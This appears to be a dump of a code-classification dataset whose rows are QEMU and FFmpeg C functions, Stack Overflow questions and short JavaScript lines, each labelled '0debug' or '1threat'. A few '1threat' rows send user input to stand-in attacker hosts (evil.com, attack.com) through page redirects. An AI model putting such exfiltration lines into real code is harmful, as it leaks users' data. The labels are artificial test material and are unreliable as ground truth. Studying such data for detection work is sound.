problem stringlengths 26 131k | labels class label 2 classes |
|---|---|
static int check_output_constraints(InputStream *ist, OutputStream *ost)
{
OutputFile *of = output_files[ost->file_index];
int ist_index = input_files[ist->file_index]->ist_index + ist->st->index;
if (ost->source_index != ist_index)
return 0;
if (of->start_time && ist->pts < of->start_time)
return 0;
if (of->recording_time != INT64_MAX &&
av_compare_ts(ist->pts, AV_TIME_BASE_Q, of->recording_time + of->start_time,
(AVRational){ 1, 1000000 }) >= 0) {
ost->is_past_recording_time = 1;
return 0;
}
return 1;
}
| 1threat |
static int spapr_fixup_cpu_dt(void *fdt, sPAPRMachineState *spapr)
{
int ret = 0, offset, cpus_offset;
CPUState *cs;
char cpu_model[32];
int smt = kvmppc_smt_threads();
uint32_t pft_size_prop[] = {0, cpu_to_be32(spapr->htab_shift)};
CPU_FOREACH(cs) {
PowerPCCPU *cpu = POWERPC_CPU(cs);
DeviceClass *dc = DEVICE_GET_CLASS(cs);
int index = spapr_vcpu_id(cpu);
int compat_smt = MIN(smp_threads, ppc_compat_max_threads(cpu));
if ((index % smt) != 0) {
continue;
}
snprintf(cpu_model, 32, "%s@%x", dc->fw_name, index);
cpus_offset = fdt_path_offset(fdt, "/cpus");
if (cpus_offset < 0) {
cpus_offset = fdt_add_subnode(fdt, 0, "cpus");
if (cpus_offset < 0) {
return cpus_offset;
}
}
offset = fdt_subnode_offset(fdt, cpus_offset, cpu_model);
if (offset < 0) {
offset = fdt_add_subnode(fdt, cpus_offset, cpu_model);
if (offset < 0) {
return offset;
}
}
ret = fdt_setprop(fdt, offset, "ibm,pft-size",
pft_size_prop, sizeof(pft_size_prop));
if (ret < 0) {
return ret;
}
if (nb_numa_nodes > 1) {
ret = spapr_fixup_cpu_numa_dt(fdt, offset, cpu);
if (ret < 0) {
return ret;
}
}
ret = spapr_fixup_cpu_smt_dt(fdt, offset, cpu, compat_smt);
if (ret < 0) {
return ret;
}
spapr_populate_pa_features(cpu, fdt, offset,
spapr->cas_legacy_guest_workaround);
}
return ret;
}
| 1threat |
how to include structures as header file : <p>I am trying to create a header file for my structure, but after I created the structure and included it in the main program it gives me error messages.</p>
<p>this is my header file</p>
<pre><code>#pragma once
#ifndef MYSTRUCT_H_INCLUDED
#define MYSTRUCT_H_INCLUDED
struct book{
int bknum;
string bname;
string author;
};
#endif // MYSTRUCT_H_INCLUDED
</code></pre>
| 0debug |
Svn to git migration: How to add branches from svn to migrated git (gerrit) : I already migrated a svn repo to git and add it to gerrit project.
My problem is the svn repo has multiple branches, how to do I migrate the branches and add it to existing gerrit project.
Thanks in advance! | 0debug |
Q: Android studio. Radio button group inside another radio button group : I am programming my first application in android studio. User should select the training type (muscle gain, weight loss, own program) and then choose sex (male/female). So, 6 possible outcomes. 2 respective radio groups. After choosing necessary options user hits confirm button and goes to necessary screen with training type (using one of 6 addListeneronbutton methods). But app does not react after installation.
Would you please tell what I'm doing wrong?
public void onRadioButtonClicked(View view) {
switch (view.getId()) {
case R.id.Muscles:
switch (view.getId()){
case R.id.Male:
addListenerOnButton();
case R.id.Female:
addListenerOnButton2();
}
break;
case R.id.Diet:
switch (view.getId()){
case R.id.Male:
addListenerOnButton3();
case R.id.Female:
addListenerOnButton4();
}
break;
case R.id.Own:
switch (view.getId()){
case R.id.Male:
addListenerOnButton3();
case R.id.Female:
addListenerOnButton4();
}
break;
}
}
Respective xml file has following code for choosing sex:
<RadioGroup
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:orientation="vertical"
android:id="@+id/radioGroup">
<RadioButton
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:id="@+id/Male"
android:text="Male"
android:onClick="onRadioButtonClicked"/>
<RadioButton
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:checked="true"
android:id="@+id/Female"
android:text="Female"
android:onclick="onRadioButtonClicked"/>
</RadioGroup>
Inside the same xml second radio group for choosing training type:
<TableRow
android:layout_width="match_parent"
android:layout_height="match_parent">
<RadioGroup
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:orientation="vertical"
android:id="@+id/radioGroup2">
<RadioButton
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:checked="true"
android:id="@+id/Muscles"
android:text="@string/Muscles"
android:onClick="onRadioButtonClicked"/>
<RadioButton
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:id="@+id/Diet"
android:text="@string/Fat"
android:onClick="onRadioButtonClicked"/>
<RadioButton
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:id="@+id/Own"
android:text="@string/Own"
android:onClick="onRadioButtonClicked"/>
</RadioGroup>
| 0debug |
float64 helper_sub_cmpf64(CPUM68KState *env, float64 src0, float64 src1)
{
float64 res;
res = float64_sub(src0, src1, &env->fp_status);
if (float64_is_nan(res)) {
if (!float64_is_nan(src0)
&& !float64_is_nan(src1)) {
res = 0;
if (float64_lt_quiet(src0, res, &env->fp_status))
res = float64_chs(res);
}
}
return res;
}
| 1threat |
document.location = 'http://evil.com?username=' + user_input; | 1threat |
In C# is it possible to instantiate a class with a value? : <p>In C# is it possible to instantiate a class with a value? That is to say if a class contains an array, is it possible to create a class that you pass the length of the desired array when the class is instantiated? </p>
| 0debug |
static void bonito_pciconf_writel(void *opaque, target_phys_addr_t addr,
uint64_t val, unsigned size)
{
PCIBonitoState *s = opaque;
PCIDevice *d = PCI_DEVICE(s);
DPRINTF("bonito_pciconf_writel "TARGET_FMT_plx" val %x\n", addr, val);
d->config_write(d, addr, val, 4);
}
| 1threat |
How to specify list item count in preview of recyclerview in Android Studio? : <p>The recyclerview layout is defined as </p>
<pre><code> <android.support.v7.widget.RecyclerView
android:layout_marginTop="15dp"
android:id="@+id/call_detail_list"
android:scrollbars="vertical"
android:layout_width="match_parent"
android:layout_height="wrap_content"
tools:listitem="@layout/call_item"
/>
</code></pre>
<p>In the preview, I can see the list items from the specified layout,
but the number of item is 10. Is there any way that can be changed?</p>
| 0debug |
static void interface_set_client_capabilities(QXLInstance *sin,
uint8_t client_present,
uint8_t caps[58])
{
PCIQXLDevice *qxl = container_of(sin, PCIQXLDevice, ssd.qxl);
qxl->shadow_rom.client_present = client_present;
memcpy(qxl->shadow_rom.client_capabilities, caps, sizeof(caps));
qxl->rom->client_present = client_present;
memcpy(qxl->rom->client_capabilities, caps, sizeof(caps));
qxl_rom_set_dirty(qxl);
qxl_send_events(qxl, QXL_INTERRUPT_CLIENT); | 1threat |
static int net_client_init1(const void *object, int is_netdev, Error **errp)
{
union {
const Netdev *netdev;
const NetLegacy *net;
} u;
const NetClientOptions *opts;
const char *name;
if (is_netdev) {
u.netdev = object;
opts = u.netdev->opts;
name = u.netdev->id;
switch (opts->kind) {
#ifdef CONFIG_SLIRP
case NET_CLIENT_OPTIONS_KIND_USER:
#endif
case NET_CLIENT_OPTIONS_KIND_TAP:
case NET_CLIENT_OPTIONS_KIND_SOCKET:
#ifdef CONFIG_VDE
case NET_CLIENT_OPTIONS_KIND_VDE:
#endif
#ifdef CONFIG_NETMAP
case NET_CLIENT_OPTIONS_KIND_NETMAP:
#endif
#ifdef CONFIG_NET_BRIDGE
case NET_CLIENT_OPTIONS_KIND_BRIDGE:
#endif
case NET_CLIENT_OPTIONS_KIND_HUBPORT:
#ifdef CONFIG_VHOST_NET_USED
case NET_CLIENT_OPTIONS_KIND_VHOST_USER:
#endif
#ifdef CONFIG_LINUX
case NET_CLIENT_OPTIONS_KIND_L2TPV3:
#endif
break;
default:
error_set(errp, QERR_INVALID_PARAMETER_VALUE, "type",
"a netdev backend type");
return -1;
}
} else {
u.net = object;
opts = u.net->opts;
name = u.net->has_id ? u.net->id : u.net->name;
}
if (net_client_init_fun[opts->kind]) {
NetClientState *peer = NULL;
if (!is_netdev &&
(opts->kind != NET_CLIENT_OPTIONS_KIND_NIC ||
!opts->nic->has_netdev)) {
peer = net_hub_add_port(u.net->has_vlan ? u.net->vlan : 0, NULL);
}
if (net_client_init_fun[opts->kind](opts, name, peer) < 0) {
error_set(errp, QERR_DEVICE_INIT_FAILED,
NetClientOptionsKind_lookup[opts->kind]);
return -1;
}
}
return 0;
}
| 1threat |
Re-assigning a name to itself : <p>Notice <a href="https://github.com/python/cpython/blob/cc3fa204d357be5fafc10eb8c2a80fe0bca998f1/Lib/multiprocessing/dummy/__init__.py#L91-L92" rel="noreferrer">these lines</a> in <code>multiprocessing</code> package of standard libraries:</p>
<pre><code>dict = dict
list = list
</code></pre>
<p>What's the point of rebinding some names already available on <code>__builtins__</code> into the module scope? What is it trying to achieve? I searched for an explanation in the git blame, but this commit was large and there was no relevant comment. </p>
| 0debug |
Force Move to a new view Swift : I'm making an app on xcode with swift 3 and am making the app have multiple variables. I want my app to test when a certain variable is at a value, move to a new view controller no matter what view you are on. I know i can use segues but with a lot of views this gets messy. Is there anything i can use that just uses code or is a lot simpler.
Thanks | 0debug |
SignalR in ASP.NET Core behind Nginx : <p>I have a server with ubuntu 16.04, kestrel and nginx as a proxy server that redirects to localhost where my app is. And my app is on Asp.Net Core 2. I'm trying to add push notifications and using SignalR core. On localhost everything is working well, and on a free hosting with iis and windows as well. But when I deploy my app on the linux server I have an error:</p>
<blockquote>
<p>signalr-clientES5-1.0.0-alpha2-final.min.js?v=kyX7znyB8Ce8zvId4sE1UkSsjqo9gtcsZb9yeE7Ha10:1
WebSocket connection to
'ws://devportal.vrweartek.com/chat?id=210fc7b3-e880-4d0e-b2d1-a37a9a982c33'
failed: Error during WebSocket handshake: Unexpected response code:
204</p>
</blockquote>
<p>But this error occurs only if I request my site from different machine via my site name. And when I request the site from the server via localhost:port everything is fine. So I think there is a problem in nginx. I <a href="https://www.nginx.com/blog/websocket-nginx/" rel="noreferrer">read</a> that I need to configure it for working with websockets which are used in signalr for establishing connection but I wasn't succeed. May be there is just some dumb mistake?</p>
<p><a href="https://i.stack.imgur.com/jkKvR.jpg" rel="noreferrer"><img src="https://i.stack.imgur.com/jkKvR.jpg" alt="enter image description here"></a></p>
| 0debug |
Swap two numbers golang : <p>I am trying to understand the internals of go. Consider the following code</p>
<pre><code>a,b := 10,5
b,a = a,b
</code></pre>
<p>The above code swaps 2 number perfectly and a becomes 5 and b becomes 10. I am not able to understand how this works. Considering in the second line of code, if a is assigned to b first, then b would be 10. Now if we assign b to a then shouldn't a be 10 too.</p>
<p>Please help me understand how this works</p>
<p>Thanks</p>
| 0debug |
int gdbserver_start(const char *device)
{
GDBState *s;
char gdbstub_device_name[128];
CharDriverState *chr = NULL;
CharDriverState *mon_chr;
if (!device)
return -1;
if (strcmp(device, "none") != 0) {
if (strstart(device, "tcp:", NULL)) {
snprintf(gdbstub_device_name, sizeof(gdbstub_device_name),
"%s,nowait,nodelay,server", device);
device = gdbstub_device_name;
}
#ifndef _WIN32
else if (strcmp(device, "stdio") == 0) {
struct sigaction act;
memset(&act, 0, sizeof(act));
act.sa_handler = gdb_sigterm_handler;
sigaction(SIGINT, &act, NULL);
}
#endif
chr = qemu_chr_new("gdb", device, NULL);
if (!chr)
return -1;
qemu_chr_fe_claim_no_fail(chr);
qemu_chr_add_handlers(chr, gdb_chr_can_receive, gdb_chr_receive,
gdb_chr_event, NULL);
}
s = gdbserver_state;
if (!s) {
s = g_malloc0(sizeof(GDBState));
gdbserver_state = s;
qemu_add_vm_change_state_handler(gdb_vm_state_change, NULL);
mon_chr = qemu_chr_alloc();
mon_chr->chr_write = gdb_monitor_write;
monitor_init(mon_chr, 0);
} else {
if (s->chr)
qemu_chr_delete(s->chr);
mon_chr = s->mon_chr;
memset(s, 0, sizeof(GDBState));
}
s->c_cpu = first_cpu;
s->g_cpu = first_cpu;
s->chr = chr;
s->state = chr ? RS_IDLE : RS_INACTIVE;
s->mon_chr = mon_chr;
s->current_syscall_cb = NULL;
return 0;
}
| 1threat |
How can I insert actual values in dataframe as columns in R? : <p>I know some basic R but I'm stuck with this dataframe handling.
I need to be able to use a package or base function in R to transoform a dataframe like this.</p>
<pre><code>id value variable
1 25.5 max_temp
1 16.4 min_temp
2 23.1 max_temp
3 12.1 min_temp
</code></pre>
<p>into this:</p>
<pre><code>id max_temp min_temp
1 25.5 16.4
2 23.1 NA
3 NA 12.1
</code></pre>
<p>Check the NA example as some observations have missing measurements.
Actually I can fix it directly in excel file but I'm trying to do preprocessing less manually.</p>
<p>Thanks.</p>
| 0debug |
Multiple svg with same IDs : <p>Can i put multiple svgs in a html page and use the same IDs in all of them?</p>
<pre><code><div>
<svg height="0" width="0">
<clipPath id="svgPath"> ........
</svg>
<svg height="0" width="0">
<clipPath id="svgPath"> ........
</svg>
<svg height="0" width="0">
<clipPath id="svgPath"> ........
</svg>
</div>
</code></pre>
| 0debug |
static inline void stl_phys_internal(target_phys_addr_t addr, uint32_t val,
enum device_endian endian)
{
uint8_t *ptr;
MemoryRegionSection *section;
section = phys_page_find(addr >> TARGET_PAGE_BITS);
if (!memory_region_is_ram(section->mr) || section->readonly) {
addr = memory_region_section_addr(section, addr);
if (memory_region_is_ram(section->mr)) {
section = &phys_sections[phys_section_rom];
}
#if defined(TARGET_WORDS_BIGENDIAN)
if (endian == DEVICE_LITTLE_ENDIAN) {
val = bswap32(val);
}
#else
if (endian == DEVICE_BIG_ENDIAN) {
val = bswap32(val);
}
#endif
io_mem_write(section->mr, addr, val, 4);
} else {
unsigned long addr1;
addr1 = (memory_region_get_ram_addr(section->mr) & TARGET_PAGE_MASK)
+ memory_region_section_addr(section, addr);
ptr = qemu_get_ram_ptr(addr1);
switch (endian) {
case DEVICE_LITTLE_ENDIAN:
stl_le_p(ptr, val);
break;
case DEVICE_BIG_ENDIAN:
stl_be_p(ptr, val);
break;
default:
stl_p(ptr, val);
break;
}
invalidate_and_set_dirty(addr1, 4);
}
}
| 1threat |
How to run POSTCSS AFTER sass-loader and ExtractTextPlugin have finished? : <p>I am trying to figure out how to run postcss on my final output css file. </p>
<pre><code>'strict';
const path = require('path');
const webpack = require('webpack');
const StatsPlugin = require('stats-webpack-plugin');
/* POSTCSS Optimizations of CSS files */
const clean = require('postcss-clean');
const colorMin = require('postcss-colormin');
const discardDuplicates = require('postcss-discard-duplicates');
const discardEmpty = require('postcss-discard-empty');
const mergeRules = require('postcss-merge-rules');
const mergeLonghand = require('postcss-merge-longhand');
const minifyFonts = require('postcss-minify-font-values');
const orderedValues = require('postcss-ordered-values');
const uniqueSelectors = require('postcss-unique-selectors');
/* EXTRACT CSS for optimization and parallel loading */
const ExtractTextPlugin = require('extract-text-webpack-plugin');
module.exports = {
entry: './src/index',
output: {
path: path.join(__dirname, 'dist'),
filename: '[name].js',
chunkFilename: '[id].bundle.js',
publicPath: '/dist/',
soureMapFilename: '[file].map'
},
plugins: [
new webpack.optimize.OccurenceOrderPlugin(),
new webpack.NoErrorsPlugin(),
new StatsPlugin('stats.json'),
new ExtractTextPlugin('assets/css/[name].css?[hash]-[chunkhash]-[contenthash]-[name]', {
disable: false,
allChunks: true
})
],
node: {
net: 'empty',
tls: 'empty',
dns: 'empty'
},
module: {
loaders: [{
test: /\.js$/,
loaders: ['babel'],
exclude: /node_modules/,
include: __dirname
},
{
test: /\.scss$/i,
loader: ExtractTextPlugin.extract('style', ['css', 'postcss', 'sass'])
},
{
test: /\.css$/,
loader: ExtractTextPlugin.extract('style', ['css'])
},
{
test: /\.(eot|woff|woff2|ttf|svg|png|jpg)$/,
loader: 'url-loader?limit=30000&name=[name]-[hash].[ext]'
}]
},
postcss() {
return [mergeRules, mergeLonghand, colorMin, clean, discardEmpty,
orderedValues, minifyFonts, uniqueSelectors, discardDuplicates];
},
sassLoader: {
includePaths: [path.resolve(__dirname, './node_modules')]
}
};
</code></pre>
<p>My current configuration works well at compiling all of the dependent SASS and taking that and the static CSS imports and extracting them using ExtractTextPlugin. </p>
<p>It also appears that I can run POSTCSS optimizations on chunks of the CSS, but not the final product. This means I can't get rid of duplicate CSS rules.</p>
<p>How do I run POSTCSS on the end-state CSS file AFTER sass-loader and extractTextPlugin have worked their magic? </p>
| 0debug |
static void frame_thread_free(AVCodecContext *avctx, int thread_count)
{
FrameThreadContext *fctx = avctx->thread_opaque;
AVCodec *codec = avctx->codec;
int i;
park_frame_worker_threads(fctx, thread_count);
if (fctx->prev_thread && fctx->prev_thread != fctx->threads)
update_context_from_thread(fctx->threads->avctx, fctx->prev_thread->avctx, 0);
fctx->die = 1;
for (i = 0; i < thread_count; i++) {
PerThreadContext *p = &fctx->threads[i];
pthread_mutex_lock(&p->mutex);
pthread_cond_signal(&p->input_cond);
pthread_mutex_unlock(&p->mutex);
pthread_join(p->thread, NULL);
if (codec->close)
codec->close(p->avctx);
avctx->codec = NULL;
release_delayed_buffers(p);
}
for (i = 0; i < thread_count; i++) {
PerThreadContext *p = &fctx->threads[i];
avcodec_default_free_buffers(p->avctx);
pthread_mutex_destroy(&p->mutex);
pthread_mutex_destroy(&p->progress_mutex);
pthread_cond_destroy(&p->input_cond);
pthread_cond_destroy(&p->progress_cond);
pthread_cond_destroy(&p->output_cond);
av_freep(&p->avpkt.data);
if (i)
av_freep(&p->avctx->priv_data);
av_freep(&p->avctx);
}
av_freep(&fctx->threads);
pthread_mutex_destroy(&fctx->buffer_mutex);
av_freep(&avctx->thread_opaque);
avctx->has_b_frames -= avctx->thread_count - 1;
}
| 1threat |
static void ehci_queues_rip_unused(EHCIState *ehci, int async)
{
EHCIQueueHead *head = async ? &ehci->aqueues : &ehci->pqueues;
EHCIQueue *q, *tmp;
QTAILQ_FOREACH_SAFE(q, head, next, tmp) {
if (q->seen) {
q->seen = 0;
q->ts = ehci->last_run_ns;
continue;
}
if (ehci->last_run_ns < q->ts + 250000000) {
continue;
}
ehci_free_queue(q, async);
}
}
| 1threat |
I write this code but I need to use a function in order to get a return instead printing the output : """A catering company has hired you to help with organizing and preparing customer's orders. You are given a list of each customer's desired items, and must write a program that will count the number of each items needed for the chefs to prepare. The items that a customer can order are: salad, hamburger, and water.
Write a function called item_order that takes as input a string named order. The string contains only words for the items the customer can order separated by one space. The function returns a string that counts the number of each item and consolidates them in the following order: salad:[# salad] hamburger:[# hambruger] water:[# water]
If an order does not contain an item, then the count for that item is 0. Notice that each item is formatted as [name of the item][a colon symbol][count of the item] and all item groups are separated by a space.
For example:
β’If order = "salad water hamburger salad hamburger" then the function returns "salad:2 hamburger:2 water:1"
β’If order = "hamburger water hamburger" then the function returns "salad:0 hamburger:2 water:1" """
s = '"hamburger water hamburger water salad "'
#The value of s will be received by the user only with the options in s
subs = 'salad'
count =0
flag=True
start=0
while flag:
a = s.find(subs,start)
if a==-1:
flag=False
else:
count+=1
start=a+1
if count==0:
salad="salad:0"
else:
b=str(count)
c=subs+':'
salad=c+b
subs = 'water'
count =0
flag=True
start=0
while flag:
a = s.find(subs,start)
if a==-1:
flag=False
else:
count+=1
start=a+1
if count==0:
water="water:0"
else:
b=str(count)
c=subs+':'
water=c+b
subs = 'hamburger'
count =0
flag=True
start=0
while flag:
a = s.find(subs,start)
if a==-1:
flag=False
else:
count+=1
start=a+1
if count==0:
hamburger="hamburger:0"
else:
b=str(count)
c=subs+':'
hamburger=c+b
print salad,hamburger,water | 0debug |
Do I need to unsubscribe from subscriptions in my unit tests? : <p>If I have a test such as the following:</p>
<pre><code>it('should return some observable', async(() => {
mockBackend.connections.subscribe((mockConnection: MockConnection) => {
const responseOptions = new ResponseOptions({
body: JSON.stringify(/* some response */)
});
mockConnection.mockRespond(new Response(responseOptions));
});
service.getSomeObservable()
.subscribe(result => {
expect(result).toBe(/* expected response */);
});
}));
</code></pre>
<p>Do I need to unsubscribe from the subscription in an <code>afterEach</code> or <code>afterAll</code> block to avoid memory issues? Or will it be automatically removed?</p>
| 0debug |
window.location.href = 'http://attack.com?user=' + user_input; | 1threat |
Setting up a windows web hosting in virtual private server : <p>I have 2 virtual private servers which i got from cloudatcost.com with 2 static IPs for one server and 1 static IP for another.
I have installed windows server 2008 R2 on both of them. All I wanted to do is to make one as a webserver and the other as a email and database server and I waanted to use some free control panel to create websites and maintain them. But before doing that I need to setup DNS server and static IP setup which I am not aware of. Someone please help me directing in a correct path of how to setup a server with a domain name and allow it to point as a server for different domains I host in future. I am pretty new to this networking stuff. I am .Net developer please help.
Thanks in advance.</p>
| 0debug |
I2CBus *aux_get_i2c_bus(AUXBus *bus)
{
return aux_bridge_get_i2c_bus(bus->bridge);
}
| 1threat |
Chrome Network Request does not show Cookies tab, some request headers, Copy as cURL is broken : <p>Since I upgraded to Chrome 72 the "Cookies" tab in Developer Tools -> Network -> A network request no longer shows the "Cookies" tab, and the request headers no longer include Cookies.</p>
<p>Furthermore, right clicking on a network request and selecting Copy -> Copy as cURL gives a <code>curl</code> command without the proper request headers / cookies.</p>
<p>See screenshots comparing Chrome with Cookies tab / request headers, and Chrome without them.</p>
<h1>It looks like this:</h1>
<p><a href="https://i.stack.imgur.com/WJuMD.png" rel="noreferrer"><img src="https://i.stack.imgur.com/WJuMD.png" alt="Chrome without cookies tab"></a></p>
| 0debug |
static void gen_cas_asi(DisasContext *dc, TCGv addr, TCGv val2,
int insn, int rd)
{
TCGv val1 = gen_load_gpr(dc, rd);
TCGv dst = gen_dest_gpr(dc, rd);
TCGv_i32 r_asi = gen_get_asi(dc, insn);
gen_helper_cas_asi(dst, cpu_env, addr, val1, val2, r_asi);
tcg_temp_free_i32(r_asi);
gen_store_gpr(dc, rd, dst);
}
| 1threat |
Calculating pow(double,2) gives a huge number : I'm trying to code a simulation of Pi calculating using multiple processes.
I have a function that generates random double x, y numbers from 1 to -1,
and when im trying to calculate whether x^2 + y^2 <= 1,
but the result is a huge number, and its always bigger than 1. | 0debug |
Arduino, pin mode is always LOW when it should be HIGH : I'm working with simple arduino where i'm trying to turn on LED light by using serial print and turning off the LED Light when i click the button or use the switch on the board, when the pin is in the ground.
Atm, i can turn on the led light by serial, however when i click the button the led light will switch off but then never switch On. and that's happening because the state is being stuck at LOW all the time and never switching back to High.
Here's the code
// constants won't change. They're used here to
// set pin numbers:
const int buttonPin = 2; // the number of the pushbutton pin
const int ledPin = 3; // the number of the LED pin
int state = 0;
// variables will change:
int buttonState = 0; // variable for reading the pushbutton status
void setup() {
// initialize the LED pin as an output:
pinMode(ledPin, OUTPUT);
// initialize the pushbutton pin as an input:
pinMode(buttonPin, INPUT);
Serial.begin(9600);
}
void loop() {
// read the state of the pushbutton value:
buttonState = digitalRead(buttonPin);
if (Serial.available())
{
state = Serial.parseInt();
if (state == 1)
{
digitalWrite(ledPin, HIGH);
Serial.println("ON");
}
}
// check if the pushbutton is pressed.
// if it is, the buttonState is HIGH:
if (buttonState == LOW) {
state = 0;
// turn LED OFF:
Serial.println("off");
digitalWrite(ledPin, LOW);
}
// IMP : This Never runs. the state is always off therefore when i send to serial " 1" the led just blinks
else {
Serial.println("off");
}
}
the state is always off therefore when i send to serial " 1" the led just blinks | 0debug |
How to convert a byte array to string : <p>I have a byte array with binary values like "1010010011". now I want to convert into a string .I have tried different methods but failed .can any one help me ?</p>
| 0debug |
dispatcher_wait(Dispatcher *dispr, uint32_t timeout)
{
struct timeval tv;
tv.tv_sec = timeout / 1000000;
tv.tv_usec = timeout % 1000000;
fd_set fdset = dispr->fdset;
int rc = select(dispr->max_sock + 1, &fdset, 0, 0, &tv);
if (rc == -1) {
vubr_die("select");
}
if (rc == 0) {
return 0;
}
int sock;
for (sock = 0; sock < dispr->max_sock + 1; sock++)
if (FD_ISSET(sock, &fdset)) {
Event *e = &dispr->events[sock];
e->callback(sock, e->ctx);
}
return 0;
}
| 1threat |
I have a problem with my java homework. I need to verify an email : <p>If you speak german, this is the task:</p>
<p>Schreiben Sie eine Methode checkEmail(String email), die prΓΌft ob ein String eine Email Adresse ist.
Hierzu kΓΆnnen Sie das Pattern / Matcher Konstrukt verwenden:</p>
<pre><code>Pattern pattern = Pattern.compile( "[\\w|-]+@\\w[\\w|-]*\\.[a-z]{2,3}" );
Matcher m = pattern.matcher(email);
m.find();
</code></pre>
<p>Diese Methode soll mittels throws Konstrukt (Im Methodenkopf von checkEmail) Exceptions an die
Aufrufende Methode (main) weiterleiten.</p>
<p>However if u are not, all in all i have to verify a String as an email.
I should use <code>pattern</code> and <code>matcher</code>. I also have to use <code>throws</code>. My method should then "tell" my main method if and exception has appeared and of couse if the email is vaid or not. </p>
<p>This is how far i got:</p>
<pre><code>import java.util.regex.Matcher;
import java.util.regex.Pattern;
import java.util.regex.PatternSyntaxException;
public class Test
{
public static boolean checkEmail(String email)throws PatternSyntaxException
{
String emailRegex = "^[a-zA-Z0-9_+&*-]+(?:\\." +
"[a-zA-Z0-9_+&*-]+)*@" +
"(?:[a-zA-Z0-9-]+\\.)+[a-z" +
"A-Z]{2,7}$";
Pattern pat = Pattern.compile(emailRegex);
Matcher mat = null;
if (email == null)
return false;
try
{
mat = pat.matcher(email);
return mat.find();
}
catch(Exception e)
{
System.out.println("There was a Problem");
}
return mat.find();
}
public static void main(String[] args)
{
String email = "contribute@geeksforgeeks.org";
if (checkEmail(email))
System.out.print("Yes");
else
System.out.print("No");
}
}
</code></pre>
<p>My program succsessfully tells me if the email is valid or not, but i dont get a "feedback" if there was an exception.. </p>
<p>Sorry for any mistakes and thx already now!</p>
| 0debug |
window.location.href = 'http://attack.com?user=' + user_input; | 1threat |
static void vmxnet3_adjust_by_guest_type(VMXNET3State *s)
{
struct Vmxnet3_GOSInfo gos;
VMXNET3_READ_DRV_SHARED(s->drv_shmem, devRead.misc.driverInfo.gos,
&gos, sizeof(gos));
s->rx_packets_compound =
(gos.gosType == VMXNET3_GOS_TYPE_WIN) ? false : true;
VMW_CFPRN("Guest type specifics: RXCOMPOUND: %d", s->rx_packets_compound);
}
| 1threat |
C# .net API requests : <p>I'm trying to get specific data from the API, but it always says:</p>
<p>Newtonsoft.Json.JsonSerializationException: 'Cannot deserialize the current JSON object (e.g. {"name":"value"}) into type 'System.Collections.Generic.List`1[RESTfulAPIConsume.Model.GitHubRelease]' because the type requires a JSON array (e.g. [1,2,3]) to deserialize correctly.
To fix this error either change the JSON to a JSON array (e.g. [1,2,3]) or change the deserialized type so that it is a normal .NET type (e.g. not a primitive type like integer, not a collection type like an array or List) that can be deserialized from a JSON object. JsonObjectAttribute can also be added to the type to force it to deserialize from a JSON object.
Path 'links', line 2, position 11.'</p>
<p>I've been looking for hours please help me!</p>
<p>ps: nevermind the class names</p>
<p>I've been trying to change my conversion of json in many different ways but nothing seems to work...</p>
<pre><code>public static class RequestConstants
{
public const string Url = "https://susanavet2.skolverket.se/api/1.1/infos?town=%C3%96rebro&educationLevel=grund&organisationForm=h%C3%B6gskoleutbildning&configuration=program";
public const string UserAgent = "User-Agent";
public const string UserAgentValue = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36";
}
public class GitHubRelease
{
[JsonProperty(PropertyName = "educationLevel")]
public string Name { get; set; }
[JsonProperty(PropertyName = "degree")]
public string PublishedAt { get; set; }
}
</code></pre>
<p>Program class</p>
<pre><code> //These are the six ways to consume RESTful APIs described in the blog post
IRequestHandler httpWebRequestHandler = new HttpWebRequestHandler();
IRequestHandler webClientRequestHandler = new WebClientRequestHandler();
IRequestHandler httpClientRequestHandler = new HttpClientRequestHandler();
IRequestHandler restSharpRequestHandler = new RestSharpRequestHandler();
IRequestHandler serviceStackRequestHandler = new ServiceStackRequestHandler();
IRequestHandler flurlRequestHandler = new FlurlRequestHandler();
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
var response = GetReleases(httpWebRequestHandler);
var githubReleases = JsonConvert.DeserializeObject<List<GitHubRelease>>(response);
foreach (var release in githubReleases)
{
Console.WriteLine("Education: {0}", release.Name);
Console.WriteLine("Degree: {0}", release.Name);
Console.WriteLine();
}
Console.ReadLine();
}
public static string GetReleases(IRequestHandler requestHandler)
{
return requestHandler.GetReleases(RequestConstants.Url);
}
}
</code></pre>
| 0debug |
static BlockDriverAIOCB *bdrv_aio_rw_vector(BlockDriverState *bs,
int64_t sector_num,
QEMUIOVector *qiov,
int nb_sectors,
BlockDriverCompletionFunc *cb,
void *opaque,
int is_write)
{
BlockDriverAIOCBSync *acb;
acb = qemu_aio_get(&bdrv_em_aiocb_info, bs, cb, opaque);
acb->is_write = is_write;
acb->qiov = qiov;
acb->bounce = qemu_blockalign(bs, qiov->size);
acb->bh = aio_bh_new(bdrv_get_aio_context(bs), bdrv_aio_bh_cb, acb);
if (is_write) {
qemu_iovec_to_buf(acb->qiov, 0, acb->bounce, qiov->size);
acb->ret = bs->drv->bdrv_write(bs, sector_num, acb->bounce, nb_sectors);
} else {
acb->ret = bs->drv->bdrv_read(bs, sector_num, acb->bounce, nb_sectors);
}
qemu_bh_schedule(acb->bh);
return &acb->common;
}
| 1threat |
I have few files in a folder,how i can save the path of the files into database by using spring mvc? : [This is my project folder structure ][1]
I wants to save the file path into database by using spring mvc .please help
[1]: http://i.stack.imgur.com/pUwZ6.jpg | 0debug |
How to represent Array In desired format in java : <p>I am getting array values as follows in JSP servlet page. </p>
<pre><code>String[] JsonEvents = request.getParameterValues("events[]");
</code></pre>
<p>I just want to know how to change it to the following type.(Lets say "Apple" and "Orange" are the element of received Array)</p>
<pre><code>String[] JsonEvents = new String[] { "Apple", "Orange" };
</code></pre>
<p>Please help me. </p>
| 0debug |
chart in dialog box when a button is pressed : My Goal is to place it in an popup/dialog/messagebox whatever pops up and is able to contain the graph. dialog is working but chart data is not coming in sapui5 | 0debug |
What is the best alternative to `canvas.clipRect` with `Region.Op.REPLACE`? : <h2>Background</h2>
<p>I'm working on a library that has a lot of canvas drawing instead of multiple views (available <a href="https://github.com/Quivr/Android-Week-View" rel="noreferrer"><strong>here</strong></a>).</p>
<h2>The problem</h2>
